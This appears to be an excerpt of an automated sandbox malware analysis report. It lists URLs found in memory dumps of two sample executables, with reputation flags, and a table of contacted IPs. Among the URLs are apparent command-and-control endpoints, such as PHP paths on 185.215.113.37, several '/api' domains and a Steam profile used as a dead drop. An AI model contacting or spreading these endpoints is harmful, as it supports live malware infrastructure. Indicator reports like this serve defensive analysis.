https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpt	num.exe, 00000016.00000002.2737892178.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://s.ytimg.com;	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://licendfilteo.site:443/api	4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.php(3	num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/ws	num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://store.steampowered.com/privacy_agreement/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037689875.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com:443/profiles/76561199724331900	4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/points/shop/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sketchfab.com	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://lv.queniujq.cn	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.youtube.com/	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dissapoiznw.store:443/apic	4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com:443/apiB	4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.valvesoftware.com/le	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://avatars.akamai.steamstatic	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/;	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php9EV	num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://steamcommunity.com/my/wishlist/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/K	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/market/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/news/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/	4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/sE	num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://store.steampowered.com/subscriber_agreement/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037689875.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037689875.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://recaptcha.net/recaptcha/;	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/discussions/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=9yzMGndrVfY4&l=e	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/stats/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://medal.tv	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/steam_refunds/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/api1	4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://clearancek.site:443/api	4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/api-	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=AeTz	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/workshop/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.steampowered.com/	4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/legal/	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037689875.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpeV	num.exe, 00000016.00000002.2737892178.00000000014A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpZ	num.exe, 00000029.00000002.2898759445.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://recaptcha.net	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/	4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://studennotediw.store:443/api	4db5303091.exe, 00000036.00000002.3037268767.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031333435.0000000000D95000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	4db5303091.exe, 00000019.00000003.2829680782.0000000000E7F000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829724052.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031689327.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000003.3031297197.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000036.00000002.3037495843.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:27060	4db5303091.exe, 00000019.00000002.2848280275.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, 4db5303091.exe, 00000019.00000003.2829967396.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
